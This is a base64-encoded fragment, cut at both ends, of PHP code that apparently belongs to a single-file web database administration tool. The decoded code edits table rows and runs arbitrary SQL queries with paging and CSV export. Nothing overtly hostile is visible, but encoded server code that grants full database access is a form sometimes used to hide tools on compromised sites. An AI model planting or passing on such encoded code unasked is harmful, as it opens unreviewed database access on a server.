k7DQoJCQkJaWYgKGRiX2Vycm9yKCkpIHsNCgkJCQkJZXJyb3IoJzxmb250IGNvbG9yPSJyZWQiPjxiPkRCIGVycm9yPC9iPjwvZm9udD46ICcuZGJfZXJyb3IoKSk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJcmVkaXJlY3Rfb2soc2VsZigpLCAnUm93IGRlbGV0ZWQnKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoNCgk/Pg0KPD9waHAgbGF5b3V0X3N0YXJ0KCR0aXRsZV9lZGl0KTsgPz4NCgk8aDE+PHNwYW4gc3R5bGU9Ijw/cGhwIGVjaG8gJGRiX25hbWVfc3R5bGU7Pz4iPjw/cGhwIGVjaG8gJGRiX25hbWVfaDE/JGRiX25hbWVfaDE6JGRiX25hbWU7Pz48L3NwYW4+PD9waHAgZWNobyAkdGl0bGU7Pz48L2gxPg0KDQoJPD9waHAgZWNobyBlcnJvcigpOz8+DQoNCgk8P3BocCBpZiAoJHJvdyk6ID8+DQoNCgkJPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvIHNlbGYoKTs/PiIgbWV0aG9kPSJwb3N0Ij4NCg0KCQk8P3BocCBlY2hvIHJhZGlvX2Fzc29jKCRlZGl0X2FjdGlvbiwgJGVkaXRfYWN0aW9uc19hc3NvYywgJ2Ria2lzc19hY3Rpb24nKTs/PjwvdGQ+DQoJCTxicj4NCg0KCQk8dGFibGUgY2VsbHNwYWNpbmc9IjEiIGNsYXNzPSJscyBsczIiPg0KCQk8P3BocCBmb3JlYWNoICgkcG9zdCBhcyAkayA9PiAkdik6IGlmIChpc19udWxsKCR2KSkgeyAkdiA9ICdudWxsJzsgfSAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOyA/Pg0KCQkJPHRyPg0KCQkJCTx0aD48P3BocCBlY2hvICRrOz8+OjwvdGg+DQoJCQkJPHRkPg0KCQkJCQk8P3BocCBpZiAoJ2ludCcgPT0gJHR5cGVzWyRrXSk6ID8+DQoJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyAkazs/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbF9vbmNlKCR2KTs/PiIgc2l6ZT0iMTEiPg0KCQkJCQk8P3BocCBlbHNlaWYgKCdjaGFyJyA9PSAkdHlwZXNbJGtdKTogPz4NCgkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSI8P3BocCBlY2hvICRrOz8+IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sX29uY2UoJHYpOz8+IiBzaXplPSI1MCI+DQoJCQkJCTw/cGhwIGVsc2VpZiAoaW5fYXJyYXkoJHR5cGVzWyRrXSwgYXJyYXkoJ3RleHQnLCAnbWVkaXVtdGV4dCcsICdsb25ndGV4dCcpKSB8fCBzdHJfaGFzKCR0eXBlc1ska10sICdibG9iJykpOiA/Pg0KCQkJCQkJPHRleHRhcmVhIG5hbWU9Ijw/cGhwIGVjaG8gJGs7Pz4iIGNvbHM9IjgwIiByb3dzPSI8P3BocCBlY2hvICRrPT0nbm90ZXMnPzEwOjEwOz8+Ij48P3BocCBlY2hvIGh0bWxfb25jZSgkdik7Pz48L3RleHRhcmVhPg0KCQkJCQk8P3BocCBlbHNlOiA/Pg0KCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8gJGs7Pz4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxfb25jZSgkdik7Pz4iIHNpemU9IjMwIj4NCgkJCQkJPD9waHAgZW5kaWY7ID8+DQoJCQkJPC90ZD4NCgkJCQk8dGQgdmFsaWduPSJ0b3AiPjw/cGhwIGVjaG8gJHR5cGVzWyRrXTs/PjwvdGQ+DQoJCQk8L3RyPg0KCQk8P3BocCBlbmRmb3JlYWNoOyA/Pg0KCQk8dHI+DQoJCQk8dGQgY29sc3Bhbj0iMyIgY2xhc3M9Im5vbmUiPg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHdhaXQ9IjEiIGJsb2NrPSIxIiBjbGFzcz0iYnV0dG9uIiB2YWx1ZT0iRWRpdCI+DQoJCQk8L3RkPg0KCQk8L3RyPg0KCQk8L3RhYmxlPg0KDQoJCTwvZm9ybT4NCg0KCTw/cGhwIGVuZGlmOyA/Pg0KDQoJPD9waHAgbGF5b3V0X2VuZCgpOyA/Pg0KDQo8P3BocCBleGl0OyBlbmRpZjsgPz4NCjw/cGhwIGlmIChpc3NldCgkX0dFVFsnZXhlY3V0ZV9zcWwnXSkgJiYgJF9HRVRbJ2V4ZWN1dGVfc3FsJ10pOiA/Pg0KPD9waHANCg0KZnVuY3Rpb24gbGlzdGluZygkYmFzZV9xdWVyeSwgJG1kNV9nZXQgPSBmYWxzZSkNCnsNCglnbG9iYWwgJGRiX2RyaXZlciwgJGRiX2xpbms7DQoNCgkkbWQ1X2kgPSBmYWxzZTsNCglpZiAoJG1kNV9nZXQpIHsNCgkJcHJlZ19tYXRjaCgnI18oXGQrKSQjJywgJG1kNV9nZXQsICRtYXRjaCk7DQoJCSRtZDVfaSA9ICRtYXRjaFsxXTsNCgl9DQoNCgkkYmFzZV9xdWVyeSA9IHRyaW0oJGJhc2VfcXVlcnkpOw0KCSRiYXNlX3F1ZXJ5ID0gc3RyX2N1dF9lbmQoJGJhc2VfcXVlcnksICc7Jyk7DQoNCgkkcXVlcnkgPSAkYmFzZV9xdWVyeTsNCgkkcmV0ID0gYXJyYXkoJ21zZyc9PicnLCAnZXJyb3InPT4nJywgJ2RhdGFfaHRtbCc9PmZhbHNlKTsNCgkkbGltaXQgPSAyNTsNCgkkb2Zmc2V0ID0gZ2V0KCdvZmZzZXQnLCdpbnQnKTsNCgkkcGFnZSA9IGZsb29yKCRvZmZzZXQgLyAkbGltaXQgKyAxKTsNCg0KCWlmICgkcXVlcnkpIHsNCgkJaWYgKGlzX3NlbGVjdCgkcXVlcnkpICYmICFwcmVnX21hdGNoKCcjXHMrTElNSVRccytcZCsjaScsICRxdWVyeSkgJiYgIXByZWdfbWF0Y2goJyNpbnRvXHMrb3V0ZmlsZVxzKyMnLCAkcXVlcnkpKSB7DQoJCQkkcXVlcnkgPSBkYl9saW1pdCgkcXVlcnksICRvZmZzZXQsICRsaW1pdCk7DQoJCX0gZWxzZSB7DQoJCQkkbGltaXQgPSBmYWxzZTsNCgkJfQ0KCQkkdGltZSA9IHRpbWVfc3RhcnQoKTsNCgkJaWYgKCFkYl9pc19zYWZlKCRxdWVyeSwgdHJ1ZSkpIHsNCgkJCSRyZXRbJ2Vycm9yJ10gPSAnRGV0ZWN0ZWQgVVBEQVRFL0RFTEVURSB3aXRob3V0IFdIRVJFIGNvbmRpdGlvbiAocHV0IFdIRVJFIDE9MSBpZiB5b3Ugd2FudCB0byBleGVjdXRlIHRoaXMgcXVlcnkpJzsNCgkJCXJldHVybiAkcmV0Ow0KCQl9DQoJCSRycyA9IEBkYl9xdWVyeSgkcXVlcnkpOw0KCQlpZiAoJHJzKSB7DQoJCQlpZiAoJHJzID09PSB0cnVlKSB7DQoJCQkJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikNCgkJCQl7DQoJCQkJCSRhZmZlY3RlZCA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoJGRiX2xpbmspOw0KCQkJCQkkdGltZSA9IHRpbWVfZW5kKCR0aW1lKTsNCgkJCQkJJHJldFsnZGF0YV9odG1sJ10gPSAnPGI+Jy4kYWZmZWN0ZWQuJzwvYj4gcm93cyBhZmZlY3RlZC48YnI+VGltZTogPGI+Jy4kdGltZS4nPC9iPiBzZWMnOw0KCQkJCQlyZXR1cm4gJHJldDsNCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCWlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpDQoJCQkJew0KCQkJCQkvLyBTaW5jZSBQb3N0Z3Jlc3FsIDkgb24gTGludXggcGdfYWZmZWN0ZWRfcm93cygpDQoJCQkJCS8vIHJldHVybnMgPj0gMCBmb3IgU0VMRUNUIHF1ZXJpZXMNCgkJCQkJaWYgKCFwcmVnX21hdGNoKCcjXlxzKlNFTEVDVFxzKyNpJywgJHF1ZXJ5KSkgew0KCQkJCQkJJGFmZmVjdGVkID0gQHBnX2FmZmVjdGVkX3Jvd3MoJHJzKTsNCgkJCQkJCWlmICgkYWZmZWN0ZWQgfHwgcHJlZ19tYXRjaCgnI15ccyooREVMRVRFfFVQREFURSlccysjaScsICRxdWVyeSkpIHsNCgkJCQkJCQkkdGltZSA9IHRpbWVfZW5kKCR0aW1lKTsNCgkJCQkJCQkkcmV0WydkYXRhX2h0bWwnXSA9ICc8cD48Yj4nLiRhZmZlY3RlZC4nPC9iPiByb3dzIGFmZmVjdGVkLiBUaW1lOiA8Yj4nLiR0aW1lLic8L2I+IHNlYzwvcD4nOw0KCQkJCQkJCXJldHVybiAkcmV0Ow0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KDQoJCQkkcm93cyA9IGFycmF5KCk7DQoJCQl3aGlsZSAoJHJvdyA9IGRiX3JvdygkcnMpKSB7DQoJCQkJJHJvd3NbXSA9ICRyb3c7DQoJCQkJaWYgKCRsaW1pdCkgew0KCQkJCQlpZiAoY291bnQoJHJvd3MpID09ICRsaW1pdCkgeyBicmVhazsgfQ0KCQkJCX0NCgkJCX0NCgkJCWRiX2ZyZWUoJHJzKTsNCg0KCQkJaWYgKGlzX3NlbGVjdCgkYmFzZV9xdWVyeSkpIHsNCgkJCQkkZm91bmQgPSBAZGJfb25lKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAoJGJhc2VfcXVlcnkpIEFTIHN1YiIpOw0KCQkJCWlmICghaXNfbnVtZXJpYygkZm91bmQpIHx8IChjb3VudCgkcm93cykgJiYgISRmb3VuZCkpIHsNCgkJCQkJZ2xvYmFsICRDT1VOVF9FUlJPUjsNCgkJCQkJJENPVU5UX0VSUk9SID0gJyAoQ09VTlQgRVJST1IpICc7DQoJCQkJCSRmb3VuZCA9IGNvdW50KCRyb3dzKTsNCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCWlmIChjb3VudCgkcm93cykpIHsNCgkJCQkJJGZvdW5kID0gY291bnQoJHJvd3MpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRmb3VuZCA9IGZhbHNlOw0KCQkJCX0NCgkJCX0NCgkJCWlmICgkbGltaXQpIHsNCgkJCQkkcGFnZXMgPSBjZWlsKCRmb3VuZCAvICRsaW1pdCk7DQoJCQl9IGVsc2Ugew0KCQkJCSRwYWdlcyA9IDE7DQoJCQl9DQoJCQkkdGltZSA9IHRpbWVfZW5kKCR0aW1lKTsNCg0KCQl9IGVsc2Ugew0KCQkJJHJldFsnZXJyb3InXSA9IGRiX2Vycm9yKCk7DQoJCQlyZXR1cm4gJHJldDsNCgkJfQ0KCX0gZWxzZSB7DQoJCSRyZXRbJ2Vycm9yJ10gPSAnTm8gcXVlcnkgZm91bmQuJzsNCgkJcmV0dXJuICRyZXQ7DQoJfQ0KDQoJb2Jfc3RhcnQoKTsNCj8+DQoJPD9waHAgaWYgKGlzX251bWVyaWMoJGZvdW5kKSk6ID8+DQoJCTxwPg0KCQkJRm91bmQ6IDxiPjw/cGhwIGVjaG8gJGZvdW5kOz8+PC9iPjw/cGhwIGVjaG8gaXNzZXQoJEdMT0JBTFNbJ0NPVU5UX0VSUk9SJ10pPyRHTE9CQUxTWydDT1VOVF9FUlJPUiddOicnOz8+Lg0KCQkJVGltZTogPGI+PD9waHAgZWNobyAkdGltZTs/PjwvYj4gc2VjLg0KCQkJPD9waHANCgkJCQkkcGFyYW1zID0gYXJyYXkoJ21kNSc9PiRtZDVfZ2V0LCAnb2Zmc2V0Jz0+Z2V0KCdvZmZzZXQnLCdpbnQnKSk7DQoJCQkJaWYgKGdldCgnb25seV9tYXJrZWQnKSB8fCBwb3N0KCdvbmx5X21hcmtlZCcpKSB7ICRwYXJhbXNbJ29ubHlfbWFya2VkJ10gPSAxOyB9DQoJCQkJaWYgKGdldCgnb25seV9zZWxlY3QnKSB8fCBwb3N0KCdvbmx5X3NlbGVjdCcpKSB7ICRwYXJhbXNbJ29ubHlfc2VsZWN0J10gPSAxOyB9DQoJCQk/Pg0KCQkJLyA8YSBocmVmPSI8P3BocCBlY2hvIHVybChzZWxmKCksICRwYXJhbXMpOz8+Ij5SZWZldGNoPC9hPg0KCQkJLyBFeHBvcnQgdG8gQ1NWOiZuYnNwOw0KDQoJCQk8YSBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOyA/Pj9leHBvcnQ9Y3N2JnNlcGFyYXRvcj08P3BocCBlY2hvIHVybGVuY29kZSgnfCcpOz8+JnF1ZXJ5PTw/cGhwIGVjaG8gYmFzZTY0X2VuY29kZSgkYmFzZV9xdWVyeSk7ID8+Ij5waXBlPC9hPg0KCQkJLQ0KCQkJPGEgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4/ZXhwb3J0PWNzdiZzZXBhcmF0b3I9PD9waHAgZWNobyB1cmxlbmNvZGUoIlx0Iik7Pz4mcXVlcnk9PD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKCRiYXNlX3F1ZXJ5KTsgPz4iPnRhYjwvYT4NCgkJCS0NCgkJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107ID8+P2V4cG9ydD1jc3Ymc2VwYXJhdG9yPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCcsJyk7Pz4mcXVlcnk9PD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKCRiYXNlX3F1ZXJ5KTsgPz4iPmNvbW1hPC9hPg0KCQkJLQ0KCQkJPGEgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4/ZXhwb3J0PWNzdiZzZXBhcmF0b3I9PD9waHAgZWNobyB1cmxlbmNvZGUoJzsnKTs/PiZxdWVyeT08P3BocCBlY2hvIGJhc2U2NF9lbmNvZGUoJGJhc2VfcXVlcnkpOyA/PiI+c2VtaWNvbG9uPC9hPg0KCQk8L3A+DQoJPD9waHAgZWxzZTogPz4NCgkJPHA+UmVzdWx0OiA8Yj5PSzwvYj4uIFRpbWU6IDxiPjw/cGhwIGVjaG8gJHRpbWU7Pz48L2I+IHNlYzwvcD4NCgk8P3BocCBlbmRpZjsgPz4NCg0KCTw/cGhwIGlmIChpc19udW1lcmljKCRmb3VuZCkpOiA/Pg0KDQoJCTw/cGhwIGlmICgkcGFnZXMgPiAxKTogPz4NCgkJPHA+DQoJCQk8P3BocCBpZiAoJHBhZ2UgPiAxKTogPz4NCgkJCQk8P3BocCAkb2ZzID0gKCRwYWdlLTEpKiRsaW1pdC0kbGltaXQ7ID8+DQoJCQkJPD9waHANCgkJCQkJJHBhcmFtcyA9IGFycmF5KCdtZDUnPT4kbWQ1X2dldCwgJ29mZnNldCc9PiRvZnMpOw0KCQkJCQlpZiAoZ2V0KCdvbmx5X21hcmtlZCcpIHx8IHBvc3QoJ29ubHlfbWFya2VkJykpIHsgJHBhcmFtc1snb25seV9tYXJrZWQnXSA9IDE7IH0NCgkJCQkJaWYgKGdldCgnb25seV9zZWxlY3QnKSB8fCBwb3N0KCdvbmx5X3NlbGVjdCcpKSB7ICRwYXJhbXNbJ29ubHlfc2VsZWN0J10gPSAxOyB9DQoJCQkJPz4NCgkJCQk8YSBocmVmPSI8P3BocCBlY2hvIHVybChzZWxmKCksICRwYXJhbXMpOz8+Ij4mbHQ7Jmx0OyBQcmV2PC9hPiAmbmJzcDsNCgkJCTw/cGhwIGVuZGlmOyA/Pg0KCQkJUGFnZSA8Yj48P3BocCBlY2hvICRwYWdlOz8+PC9iPiBvZiA8Yj48P3BocCBlY2hvICRwYWdlczs/PjwvYj4gJm5ic3A7DQoJCQk8P3BocCBpZiAoJHBhZ2VzID4gJHBhZ2UpOiA/Pg0KCQkJCTw/cGhwICRvZnMgPSAkcGFnZSokbGltaXQ7ID8+DQoJCQkJPD9waHANCgkJCQkJJHBhcmFtcyA9IGFycmF5KCdtZDUnPT4kbWQ1X2dldCwgJ29mZnNldCc9PiRvZnMpOw0KCQkJCQlpZiAoZ2V0KCdvbmx5X21hcmtlZCcpIHx8IHBvc3QoJ29ubHlfbWFya2VkJykpIHsgJHBhcmFtc1snb25seV9tYXJrZWQnXSA9IDE7IH0NCgkJCQkJaWYgKGdldCgnb25seV9zZWxlY3QnKSB8fCBwb3N0KCdvbmx5X3NlbGVjdCcpKSB7ICRwYXJhbXNbJ29ubHlfc2VsZWN0J10gPSAxOyB9DQoJCQkJPz4NCgkJCQk8YSBocmVmPSI8P3BocCBlY2hvIHVybChzZWxmKCksICRwYXJhbXMpOz8+Ij5OZXh0ICZndDsmZ3Q7PC9hPg0KCQkJPD9waHAgZW5kaWY7ID8+DQoJCTwvcD4NCgkJPD9waHAgZW5kaWY7ID8+DQoNCgkJPHNjcmlwdD4NCgkJZnVuY3Rpb24gbWFya19yb3codHIpDQoJCXsNCgkJCXZhciBlbHMgPSB0ci5nZXRFbGVtZW50c0J5VGFnTmFtZSgndGQnKTsNCgkJCWlmICh0ci5tYXJrZWQpIHsNCgkJCQlmb3IgKHZhciBpID0gMDsgaSA8IGVscy5sZW5ndGg7IGkrKykgew0KCQkJCQllbHNbaV0uc3R5bGUuYmFja2dyb3VuZENvbG9yID0gJyc7DQoJCQkJfQ0KCQkJCXRyLm1hcmtlZCA9IGZhbHNlOw0KCQkJfSBlbHNlIHsNCgkJCQl0ci5tYXJrZWQgPSB0cnVlOw0KCQkJCWZvciAodmFyIGkgPSAwOyBpIDwgZWxzLmxlbmd0aDsgaSsrKSB7DQoJCQkJCWVsc1tpXS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSAnI2RkZCc7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCTwvc2NyaXB0Pg0KDQoJCTw/cGhwIGlmICgkZm91bmQpOiA/Pg0KDQoJCQk8P3BocA0KCQkJCSRlZGl0X3RhYmxlID0gdGFibGVfZnJvbV9xdWVyeSgkYmFzZV9xdWVyeSk7DQoJCQkJaWYgKCRlZGl0X3RhYmxlKSB7DQoJCQkJCSRlZGl0X3BrID0gYXJyYXlfZmlyc3Rfa2V5KCRyb3dzWzBdKTsNCgkJCQkJaWYgKGlzX251bWVyaWMoJGVkaXRfcGspKSB7ICRlZGl0X3RhYmxlID0gZmFsc2U7IH0NCgkJCQl9DQoJCQkJaWYgKCRlZGl0X3RhYmxlKSB7DQoJCQkJCSR0eXBlcyA9IHRhYmxlX3R5cGVzMigkZWRpdF90YWJsZSk7DQoJCQkJCWlmICgkdHlwZXMgJiYgY291bnQoJHR5cGVzKSkgew0KCQkJCQkJaWYgKGluX2FycmF5KCRlZGl0X3BrLCBhcnJheV9rZXlzKCR0eXBlcykpKSB7DQoJCQkJCQkJaWYgKCFhcnJheV9jb2xfbWF0Y2hfdW5pcXVlKCRyb3dzLCAkZWRpdF9waywgJyNeXGQrJCMnKSkgew0KCQkJCQkJCQkkZWRpdF9wayA9IGd1ZXNzX3BrKCRyb3dzKTsNCgkJCQkJCQkJaWYgKCEkZWRpdF9waykgew0KCQkJCQkJCQkJJGVkaXRfdGFibGUgPSBmYWxzZTsNCgkJCQkJCQkJfQ0KCQkJCQkJCX0NCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJJGVkaXRfdGFibGUgPSBmYWxzZTsNCgkJCQkJCX0NCgkJCQkJfSBlbHNlIHsNCgkJCQkJCSRlZGl0X3RhYmxlID0gZmFsc2U7DQoJCQkJCX0NCgkJCQl9DQoJCQkJJGVkaXRfdXJsID0gJyc7DQoJCQkJaWYgKCRlZGl0X3RhYmxlKSB7DQoJCQkJCSRlZGl0X3VybCA9IHVybChzZWxmKHRydWUpLCBhcnJheSgnYWN0aW9uJz0+J2VkaXRyb3cnLCAndGFibGUnPT4kZWRpdF90YWJsZSwgJ3BrJz0+JGVkaXRfcGssICdpZCc9PiclcycpKTsNCgkJCQl9DQoJCQk/Pg0KDQoJCQk8dGFibGUgY2xhc3M9ImxzIiBjZWxsc3BhY2luZz0iMSI+DQoJCQk8dHI+DQoJCQkJPD9waHAgaWYgKCRlZGl0X3VybCk6ID8+PHRoPiM8L3RoPjw/cGhwIGVuZGlmOyA/Pg0KCQkJCTw/cGhwIGZvcmVhY2ggKCRyb3dzWzBdIGFzICRjb2wgPT4gJHYpOiA/Pg0KCQkJCQk8dGg+PD9waHAgZWNobyAkY29sOz8+PC90aD4NCgkJCQk8P3BocCBlbmRmb3JlYWNoOyA/Pg0KCQkJPC90cj4NCgkJCTw/cGhwIGZvcmVhY2ggKCRyb3dzIGFzICRyb3cpOiA/Pg0KCQkJPHRyIG9uZGJsY2xpY2s9Im1hcmtfcm93KHRoaXMpIj4NCgkJCQk8P3BocCBpZiAoJGVkaXRfdXJsKTogPz4NCgkJCQkJPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0icG9wdXAoJzw/cGhwIGVjaG8gc3ByaW50ZigkZWRpdF91cmwsICRyb3dbJGVkaXRfcGtdKTs/PicsIDYyMCwgNTAwKSI+RWRpdDwvYT4mbmJzcDs8L3RkPg0KCQkJCTw/cGhwIGVuZGlmOyA/Pg0KCQkJCTw/cGhwDQoJCQkJCSRjb3VudF9jb2xzID0gMDsNCgkJCQkJZm9yZWFjaCAoJHJvdyBhcyAkdikgeyAkY291bnRfY29scysrOyB9DQoJCQkJPz4NCgkJCQk8P3BocCBmb3JlYWNoICgkcm93IGFzICRrID0+ICR2KTogPz4NCgkJCQkJPD9waHANCgkJCQkJCWlmIChwcmVnX21hdGNoKCcjXlxzKjxhW14+XSs+W148XSs8L2E+XHMqJCNpVScsICR2KSAmJiBzdHJsZW4oc3RyaXBfdGFncygkdikpIDwgNTApIHsNCgkJCQkJCQkkdiA9IHN0cmlwX3RhZ3MoJHYsICc8YT4nKTsNCgkJCQkJCQkkdiA9IGNyZWF0ZV9saW5rcygkdik7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCSR2ID0gc3RyaXBfdGFncygkdik7DQoJCQkJCQkJJHYgPSBzdHJfcmVwbGFjZSgnJm5ic3A7JywgJyAnLCAkdik7DQoJCQkJCQkJJHYgPSBwcmVnX3JlcGxhY2UoJyNbIF0rIycsICcgJywgJHYpOw0KCQkJCQkJCSR2ID0gY3JlYXRlX2xpbmtzKCR2KTsNCgkJCQkJCQlpZiAoIWdldCgnZnVsbF9jb250ZW50JykgJiYgc3RybGVuKCR2KSA+IDUwKSB7DQoJCQkJCQkJCWlmICgxID09ICRjb3VudF9jb2xzKSB7DQoJCQkJCQkJCQkkdiA9IHRydW5jYXRlX2h0bWwoJHYsIDI1NSk7DQoJCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCQkkdiA9IHRydW5jYXRlX2h0bWwoJHYsIDUwKTsNCgkJCQkJCQkJfQ0KCQkJCQkJCX0NCgkJCQkJCQkvLyAkdiA9IGh0bWxfb25jZSgkdik7IC0gY3JlYXRlX2xpbmtzKCkgZGlzYWJsaW5nDQoJCQkJCQl9DQoJCQkJCQkkbmwyYnIgPSBnZXQoJ25sMmJyJyk7DQoJCQkJCQlpZiAoZ2V0KCdmdWxsX2NvbnRlbnQnKSkgew0KCQkJCQkJCSR2ID0gc3RyX3dyYXAoJHYsIDgwLCAnPGJyPicsIHRydWUpOw0KCQkJCQkJfQ0KCQkJCQkJaWYgKGdldCgnbmwyYnInKSkgew0KCQkJCQkJCSR2ID0gbmwyYnIoJHYpOw0KCQkJCQkJfQ0KCQkJCQkJLy8kdiA9IHN0cmlwc2xhc2hlcyhzdHJpcHNsYXNoZXMoJHYpKTsNCgkJCQkJCWlmIChAJHR5cGVzWyRrXSA9PSAnaW50JyAmJiAocHJlZ19tYXRjaCgnI3RpbWUjaScsICRrKSB8fCBwcmVnX21hdGNoKCcjZGF0ZSNpJywgJGspKQ0KCQkJCQkJCSYmIHByZWdfbWF0Y2goJyNeXGQrJCMnLCAkdikpDQoJCQkJCQl7DQoJCQkJCQkJJHRtcCA9IEBkYXRlKCdZLW0tZCBIOmknLCAkdik7DQoJCQkJCQkJaWYgKCR0bXApIHsNCgkJCQkJCQkJJHYgPSAkdG1wOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJCWdsb2JhbCAkcG9zdDsNCgkJCQkJCWlmIChzdHJfaGFzKCRwb3N0WydzcWwnXSwgJ0BnZXRob3N0YnlhZGRyJykgJiYgKHByZWdfbWF0Y2goJyNeXGR7MSwzfVwuXGR7MSwzfVwuXGR7MSwzfVwuXGR7MSwzfSQjJywgJHYpKSkgew0KCQkJCQkJCSR2ID0gJHYuJzxicj4nLkBnZXRob3N0YnlhZGRyKCR2KTsNCgkJCQkJCX0NCgkJCQkJPz4NCgkJCQkJPHRkIG9uY2xpY2s9Im1hcmtfY29sKHRoaXMpIiA8P3BocCBlY2hvICRubDJicj8ndmFsaWduPSJ0b3AiJzonJzs/PiBub3dyYXA+PD9waHAgZWNobyBpc19udWxsKCRyb3dbJGtdKT8nLSc6JHY7Pz48L3RkPg0KCQkJCTw/cGhwIGVuZGZvcmVhY2g7ID8+DQoJCQk8L3RyPg0KCQkJPD9waHAgZW5kZm9yZWFjaDsgPz4NCgkJCTwvdGFibGU+DQoNCgkJPD9waHAgZW5kaWY7ID8+DQoNCgkJPD9waHAgaWYgKCRwYWdlcyA+IDEpOiA/Pg0KCQk8cD4NCgkJCTw/cGhwIGlmICgkcGFnZSA+IDEpOiA/Pg0KCQkJCTw/cGhwICRvZnMgPSAoJHBhZ2UtMSkqJGxpbWl0LSRsaW1pdDsgPz4NCgkJCQk8P3BocA0KCQkJCQkkcGFyYW1zID0gYXJyYXkoJ21kNSc9PiRtZDVfZ2V0LCAnb2Zmc2V0Jz0+JG9mcyk7DQoJCQkJCWlmIChnZXQoJ29ubHlfbWFya2VkJykgfHwgcG9zdCgnb25seV9tYXJrZWQnKSkgeyAkcGFyYW1zWydvbmx5X21hcmtlZCddID0gMTsgfQ0KCQkJCQlpZiAoZ2V0KCdvbmx5X3NlbGVjdCcpIHx8IHBvc3QoJ29ubHlfc2VsZWN0JykpIHsgJHBhcmFtc1snb25seV9zZWxlY3QnXSA9IDE7IH0NCgkJCQk/Pg0KCQkJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gdXJsKHNlbGYoKSwgJHBhcmFtcyk7Pz4iPiZsdDsmbHQ7IFByZXY8L2E+ICZuYnNwOw0KCQkJPD9waHAgZW5kaWY7ID8+DQoJCQlQYWdlIDxiPjw/cGhwIGVjaG8gJHBhZ2U7Pz48L2I+IG9mIDxiPjw/cGhwIGVjaG8gJHBhZ2VzOz8+PC9iPiAmbmJzcDsNCgkJCTw/cGhwIGlmICgkcGFnZXMgPiAkcGFnZSk6ID8+DQoJCQkJPD9waHAgJG9mcyA9ICRwYWdlKiRsaW1pdDsgPz4NCgkJCQk8P3BocA0KCQkJCQkkcGFyYW1zID0gYXJyYXkoJ21kNSc9PiRtZDVfZ2V0LCAnb2Zmc2V0Jz0+JG9mcyk7DQoJCQkJCWlmIChnZXQoJ29ubHlfbWFya2VkJykgfHwgcG9zdCgnb25seV9tYXJrZWQnKSkgeyAkcGFyYW1zWydvbmx5X21hcmtlZCddID0gMTsgfQ0KCQkJCQlpZiAoZ2V0KCdvbmx5X3NlbGVjdCcpIHx8IHBvc3QoJ29ubHlfc2VsZWN0JykpIHsgJHBhcmFtc1snb25seV9zZWxlY3QnXSA9IDE7IH0NCgkJCQk/Pg0KCQkJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gdXJsKHNlbGYoKSwgJHBhcmFtcyk7Pz4iPk5leHQgJmd0OyZndDs8L2E+DQoJCQk8P3BocCBlbmRpZjsgPz4NCgkJPC9wPg0KCQk8P3BocCBlbmRpZjsgPz4NCg0KCTw/cGhwIGVuZGlmOyA/Pg0KDQo8P3BocA0KCSRjb250ID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQoJb2JfZW5kX2NsZWFuKCk7DQoJJHJldFsnZGF0YV9odG1sJ10gPSAkY29udDsNCglyZXR1cm4gJHJldDsNCn0NCg0KPz4NCjw/cGhwDQoNCgkvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoJLy8gRVhFQ1VURSBTUUwNCgkvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCglzZXRfdGltZV9saW1pdCgwKTsNCg0KCSR0ZW1wbGF0ZSA9IGdldCgndGVtcGxhdGUnKTsNCgkkbXNnID0gJyc7DQoJJGVycm9yID0gJyc7DQoJJHRvcF9odG1sID0gJyc7DQoJJGRhdGFfaHRtbCA9ICcnOw0KDQoJJGdldCA9IGdldChhcnJheSgNCgkJJ3BvcHVwJz0+ICdpbnQnLA0KCQknbWQ1JyA9PiAnc3RyaW5nJywNCgkJJ29ubHlfbWFya2VkJyA9PiAnYm9vbCcsDQoJCSdvbmx5X3NlbGVjdCcgPT4gJ2Jvb2wnLA0KCQknc3FsX3RlbXBsYXRlJyA9PiAnc3RyaW5nJw0KCSkpOw0KCSRwb3N0ID0gcG9zdChhcnJheSgNCgkJJ3NxbCcgPT4gJ3N0cmluZycsDQoJCSdwZXJmb3JtJyA9PiAnc3RyaW5nJywN